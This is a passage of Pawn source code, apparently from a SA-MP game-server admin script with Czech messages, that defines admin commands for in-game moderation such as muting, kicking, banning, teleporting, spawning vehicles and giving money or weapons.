{FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /say [ TEXT ]"); else { new string[256]; format(string, sizeof(string), " Administrátor %s: %s", PlayerName(playerid), params); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_flip(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi ve vozidle"); else { new vehicleid = GetPlayerVehicleID(playerid); new Float:x, Float:y, Float:z, Float:a; GetVehiclePos(vehicleid, x, y, z); GetVehicleZAngle(vehicleid, a); SetVehiclePos(vehicleid, x, y, z); SetVehicleZAngle(vehicleid, a); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_ann(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ann [ TEXT ]"); else { new string[128]; format(string, sizeof(string), "~w~%s", params); GameTextForAll(string, 5000, 5); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_dann(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /dann [ TEXT ]"); else { new string[128]; format(string, sizeof(string), "~w~%s", params); GameTextForAll(string, 6000, 1); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_clear(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new string[128]; for(new c=0;c<120;c++) SendClientMessageToAll(0x00000000," "); format(string, sizeof(string), "Administrátor %s vymazal chat", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_mute(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /mute [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš umlčet NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted umlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); pMute[id] = true; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_var(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /var [ ID ] [ DŮVOD ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru!"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš napomenout NPC hráče"); else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Důvod je moc dlouhý, maximálně 32 znaků"); else { pWarnings[id]++; new string[256]; format(string, sizeof(string), "Administrátor %s napomenul hráče %s (%d) [ Důvod: %s ] (Varování: %d/3)", PlayerName(playerid), PlayerName(id), id, params[chrfind(' ',params)+1], pWarnings[id]); SendClientMessageToAll(COLOR_ADMIN, string); if(pWarnings[id] >= 3) Kick(id); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_unmute(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unmute [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmlčet NPC hráče!"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted odmlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); pMute[id] = false; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_freeze(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /freeze [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zmrazit NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted zmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); TogglePlayerControllable(id, 0); pFreeze[id] = true; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_unfreeze(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unfreeze [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmrazit NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted odmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); TogglePlayerControllable(id, 1); pFreeze[id] = false; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_goto(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /goto [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else { new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax; GetPlayerPos(id, X , Y, Z); GetPlayerFacingAngle(id, A); SetPlayerInterior(playerid,GetPlayerInterior(id)); SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(id)); if(!IsPlayerInAnyVehicle(playerid)) { Ax = A+180; if(Ax>=360) Ax=Ax-360; x2 = X + (1 * floatsin(-Ax, degrees)); y2 = Y + (1 * floatcos(-Ax, degrees)); SetPlayerPos(playerid,x2,y2,Z+0.1); } else if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER) { Ax = A+180; if(Ax>=360) Ax=Ax-360; x2 = X + (5 * floatsin(-Ax, degrees)); y2 = Y + (5 * floatcos(-Ax, degrees)); new vehicleid = GetPlayerVehicleID(playerid); SetVehiclePos(vehicleid,x2,y2,Z+0.1); SetVehicleZAngle(vehicleid,A+90); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_get(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /get [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš k sobě teleportovat NPC hráče"); else { new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax; if(GetPlayerVehicleID(playerid) == 0) { GetPlayerPos(playerid,X,Y,Z); GetPlayerFacingAngle(playerid,A); } else { GetVehiclePos(GetPlayerVehicleID(playerid),X,Y,Z); GetVehicleZAngle(GetPlayerVehicleID(playerid),A); } SetPlayerInterior(id, GetPlayerInterior(playerid)); SetPlayerVirtualWorld(id, GetPlayerVirtualWorld(playerid)); if(GetPlayerVehicleID(id) == 0) { Ax = A+180; if(Ax>=360) Ax-=360; x2 = X + (1 * floatsin(-Ax, degrees)); y2 = Y + (1 * floatcos(-Ax, degrees)); SetPlayerPos(id,x2,y2,Z+0.1); } else { Ax = A+180; if(Ax>=360) Ax-=360; x2 = X + (5 * floatsin(-Ax, degrees)); y2 = Y + (5 * floatcos(-Ax, degrees)); new vehicleid = GetPlayerVehicleID(id); SetVehiclePos(vehicleid,x2,y2,Z+0.1); SetVehicleZAngle(vehicleid,A+90); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_kick(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /kick [ ID ] [ DÔVOD ]"); else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků "); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš vyhodit NPC hráče"); else { new string[256]; format(string, sizeof(string), "Hráč %s (%d) byl vyhozený Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]); SendClientMessageToAll(COLOR_ADMIN, string); Kick(id); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_spec(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /spec [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(playerid == id) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemůžeš sledovat sám sebe"); else { if(pSpecate[playerid] == false) { GetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]); for(new w=0; w<13; w++) GetPlayerWeaponData(playerid, w, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]); } pSpecate[playerid] = true; SetPlayerVirtualWorld(playerid, GetPlayerVirtualWorld(id)); SetPlayerInterior(playerid, GetPlayerInterior(id)); TogglePlayerSpectating(playerid, 1); if(GetPlayerVehicleID(id) == 0) PlayerSpectatePlayer(playerid, id); else PlayerSpectateVehicle(playerid, GetPlayerVehicleID(id)); new string[128]; format(string, sizeof(string), "Začal si sledovat hráče %s, pro vypnutí použij: /specoff", PlayerName(id)); SendClientMessage(playerid, COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_specoff(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pSpecate[playerid]==false) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nikoho nesleduješ"); else { TogglePlayerSpectating(playerid, 0); SetCameraBehindPlayer(playerid); } return 1; } //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// dcmd_ac(playerid, params[]) { new id = strval(params); new color = strval(params[chrfind(' ',params)+1]); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ ID ] [ BARVA ]"); else if(id<400 || id>611) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]"); else if(color<0 || color>126) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]"); else { new vehid = -1; for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] <= 0) { vehid = v; break; } if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet admin vozidel, použij /acd pro jejich zničení"); else { new Float:x, Float:y, Float:z, Float:x2, Float:y2, Float:a; GetPlayerPos(playerid, x, y, z); GetPlayerFacingAngle(playerid, a); x2 = x + (2.5 * floatsin(-a, degrees)); y2 = y + (2.5 * floatcos(-a, degrees)); AdminVehicle[vehid] = CreateVehicle(id, x2, y2, z+0.5, a+90, color, color, 300); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_acd(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new vehid = -1; for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0) { vehid = v; break; } if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořené žádné Admin Vozidlo"); else { for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0) DestroyVehicleEx(AdminVehicle[v]); new string[100]; format(string, sizeof(string), "Administrátor %s zničil všechny admin vozidla !", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_eramp(playerid, params[]) { new rampid = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ ID ]"); else if(rampid<1 || rampid>7) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ 1-7 ]"); else { new rampnumber = -1; for(new r=0; r<MAX_RAMPS; r++) if(!IsValidObject(Ramp[r])) { rampnumber = r; break; } if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet ramp, použij /erdestroy pro jejich zničení"); else { new Float:x, Float:y, Float:z, Float:a; GetPlayerPos(playerid, x, y, z); if(GetPlayerVehicleID(playerid) == 0) GetPlayerFacingAngle(playerid, a); else GetVehicleZAngle(GetPlayerVehicleID(playerid), a); x += (8.0 * floatsin(-a, degrees)); y += (8.0 * floatcos(-a, degrees)); new ID; switch(rampid) { case 1: ID = 1631; case 2: ID = 1632; case 3: ID = 1634; case 4: ID = 1655; case 5: {ID = 13641; a += 90;} case 6: {ID = 7627; z += 3;} default: {ID = 11011; z += 3; SetPlayerPos(playerid, x, y, z+2.0);} } Ramp[rampnumber] = CreateObject(ID, x, y, z, 0, 0, a); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_erdestroy(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new rampnumber = -1; for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r])) { rampnumber = r; break; } if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořená žádná rampa"); else { for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r])) DestroyObject(Ramp[r]); new string[100]; format(string, sizeof(string), "Administrátor %s zničil všechny rampy", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_eunlock(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new string[75]; format(string, sizeof(string), "Administrátor %s odemkl všechny auta", PlayerName(playerid)); for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 0); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_ban(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ban [ ID ] [ DŮVOD ]"); else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků "); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zabanovat NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s (%d) byl zabanovaný Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]); SendClientMessageToAll(COLOR_ADMIN, string); format(string, sizeof(string), "%s: %s", PlayerName(playerid), params[chrfind(' ',params)+1]); BanEx(id, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_player(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /player [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš ovládat NPC hráče"); else { pSaveID[playerid] = id; new string[64]; format(string, sizeof(string),"{ff0000}Player: {ffff70}%s (%d)", PlayerName(id), id); ShowPlayerDialog(playerid, DIALOG_A_PLAYERMENU, DIALOG_STYLE_LIST, string, "Nastavit HP\nNastavit Armour\nKill\nOdzbrojit\nReset Money\nExplode\nDesert man\nVehicle Repair", "Ok", "Zavřít"); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_hp(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { SendClientMessage(playerid,COLOR_ADMIN,"Uzdravil si se "); SetPlayerHealth(playerid, 100.00000000); SetPlayerArmour(playerid, 100.00000000); if(GetPlayerVehicleID(playerid) > 0) { SetVehicleHealth(GetPlayerVehicleID(playerid), 1000.0); RepairVehicle(GetPlayerVehicleID(playerid)); SendClientMessage(playerid, COLOR_ADMIN, "Opravil sis vozidlo !"); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_gm(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /gm [ ID ] [ MONEY ]"); else if(strval(params[chrfind(' ',params)+1])>999999999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Maximální suma kterou můžeš poslat je 999 999 999$ !"); else if(strval(params[chrfind(' ',params)+1])<=0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatnou hodnotu "); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát peníze NPC hráčovi"); else { new string[128]; format(string, sizeof(string), "Dal si hráčovi %s %d$ !", PlayerName(id), strval(params[chrfind(' ',params)+1])); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti dal %d$ !", PlayerName(playerid), strval(params[chrfind(' ',params)+1])); SendClientMessage(id, COLOR_ADMIN, string); GivePlayerMoney(id, strval(params[chrfind(' ',params)+1])); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_setnick(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setnick [ ID ] [ NICK ]"); else if(strlen(params[chrfind(' ',params)+1])<3 || strlen(params[chrfind(' ',params)+1])>20) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmezí nicku: 3-20 znaků"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš nastavit nick NPC hráčovi"); else { new string[128]; format(string, sizeof(string), "Nastavil si hráčovi %s nick %s !", PlayerName(id), params[chrfind(' ',params)+1]); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti zmenil nick na %s !", PlayerName(playerid), params[chrfind(' ',params)+1]); SendClientMessage(id, COLOR_ADMIN, string); SetPlayerName(id, params[chrfind(' ',params)+1]); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_bealone(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /bealone [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš používat tento příkaz na NPC hráčovi"); else { new string[256]; format(string, sizeof(string), "Administrátor %s (%d) poslal hráče %s (%d) do jiného světa !", PlayerName(playerid), playerid, PlayerName(id), id); SendClientMessageToAll(COLOR_ADMIN, string); SetPlayerVirtualWorld(id, 2147041658-playerid); if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 2147000000-playerid); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_beback(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /beback [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš tento příkaz používat na NPC hráčovi"); else { new string[256]; format(string, sizeof(string), "Administrátor %s (%d) vrátil hráče %s (%d) do normálního světa !", PlayerName(playerid), playerid, PlayerName(id), id); SendClientMessageToAll(COLOR_ADMIN, string); SetPlayerVirtualWorld(id, 0); if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 0); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_gw(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1]) || !strlen(params[chrfind(' ',params,chrfind(' ',params)+1)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ AMMO ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dat zbran NPC hráčovi"); else if(strval(params[chrfind(' ',params)+1])<0 || (strval(params[chrfind(' ',params)+1])>18 && strval(params[chrfind(' ',params)+1])<22) || strval(params[chrfind(' ',params)+1])>46) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatné ID zbrane ! Použi 0 - 18 alebo 22 - 46 !"); else { new ammo = strval(params[chrfind(' ',params,chrfind(' ',params)+1)+1]); if(ammo < 1 || ammo > 9999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ 1 - 9999 ]"); else { new string[128]; format(string, sizeof(string), "Dal si hráčovi %s zbraň %s (%d nábojů) !", PlayerName(id), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti dal zbraň %s (%d nábojů) !", PlayerName(playerid), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo); SendClientMessage(id, COLOR_ADMIN, string); GivePlayerWeapon(id, strval(params[chrfind(' ',params)+1]), ammo); if(strval(params[chrfind(' ',params)+1])==39) GivePlayerWeapon(id,40,ammo); if(strval(params[chrfind(' ',params)+1])==40) GivePlayerWeapon(id,39,ammo); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_setadmin(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi Majitel Serveru"); else if(pAdminLevel[playerid]<=2) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Majitel Serveru"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setadmin [ ID ] [ ADMIN LEVEL 